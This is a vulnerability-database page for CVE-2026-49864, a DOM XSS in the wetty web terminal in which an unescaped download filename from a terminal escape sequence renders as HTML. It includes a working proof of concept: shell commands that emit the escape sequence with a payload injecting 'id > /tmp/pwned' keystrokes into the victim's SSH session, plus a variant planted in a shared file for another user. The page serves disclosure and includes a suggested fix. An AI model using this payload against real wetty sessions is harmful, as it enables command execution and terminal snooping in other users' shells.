CVE-2026-49864

HIGHPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

wetty vulnerable to DOM XSS via file-download filename

Summary

The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.

Preconditions

  • Victim has wetty open with an active SSH session.
  • Attacker delivers the file-download escape sequence (\x1b[5i:\x1b[4i) into output the victim's terminal renders.
  • Default configuration; no non-default flags required.

Details

// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
  const remainingData = fileDownloader.buffer(data);
  // every PTY byte forwarded by the server passes through buffer()
  // ...
})

Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.

// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
  let fileNameBase64;
  let fileCharacters = bufferCharacters;
  if (bufferCharacters.includes(':')) {
    [fileNameBase64, fileCharacters] = bufferCharacters.split(':');
  }
  // ...
  void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}

async function detectAndDownload(/* ... */): Promise { // ... let fileName; try { if (fileNameBase64 !== undefined) { fileName = window.atob(fileNameBase64); // attacker-controlled } } catch { /* ... */ } fileName ??= file-${ /* timestamp default */ }; // ... Toastify({ text: Download ready: ${fileName}, // sink duration: 10000, // ... escapeMarkup: false, }).showToast(); }

fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.

Proof of concept

Setup

  • Bring up wetty and its bundled SSH host from a fresh clone:

git clone https://github.com/butlerx/wetty
   cd wetty
   docker compose up -d
   sleep 5
  • Open http://localhost/wetty in a browser. The login terminal prompts for a username (enter term) then proxies to wetty-ssh, which prompts for the SSH password (also term, set in containers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.

Exploit

  • In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:

PAYLOAD='"> /tmp/pwned\\n\",true)">'
   FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
   DATA_B64=$(printf 'bait' | base64 -w0)
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"

Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied ` element with the onerror handler.

  • The onerror handler calls window.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as a data event; src/client/wetty.ts:40-42 forwards it as a socket input event; the server writes it to the PTY. The SSH host runs id > /tmp/pwned as the connected user:

cat /tmp/pwned

Expected: uid=1000(term) gid=1000(term) groups=1000(term).

  • The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:

# As the low-priv user on the SSH host
   printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txt

When the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.

Impact

  • Confidentiality: Reads the rendered terminal contents via window.wetty_term.buffer.active.
  • Integrity: Types attacker-chosen commands into the victim's SSH session via window.wetty_term.input().
  • Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.

Suggestions to fix

> _This has not been tested - it is illustrative only._

HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.

fileName ??= file-${new Date()
     .toISOString()
     .split('.')[0]
     .replace(/-/g, '')
     .replace('T', '')
     .replace(/:/g, '')}${fileExt ? .${fileExt} : ''};
+  const safeName = fileName.replace(/[&<>"']/g, (c) =>
+    ({ '&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;' })[c] ?? c,
+  );

const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType }); const blobUrl = URL.createObjectURL(blob);

Toastify({

  • text: Download ready: ${fileName},
+ text: Download ready: ${safeName}`, duration: 10000,

CVSS v3
EG Score
0.0(none)
EPSS
KEV
Not listed

Published

July 1, 2026

Last Modified

July 1, 2026

Vendor Advisories for CVE-2026-49864(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Data Freshness Timeline

(refreshed 1× in last 7d / 1× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-01 19:05 UTCEG score recompute

Frequently asked(3)

What is CVE-2026-49864?
CVE-2026-49864 is a high vulnerability published on July 1, 2026. wetty vulnerable to DOM XSS via file-download filename Summary The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl…
When was CVE-2026-49864 disclosed?
CVE-2026-49864 was first published in the National Vulnerability Database on July 1, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
How do I remediate CVE-2026-49864?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-49864, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-49864

Explore →

Is Your Infrastructure Affected by CVE-2026-49864?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.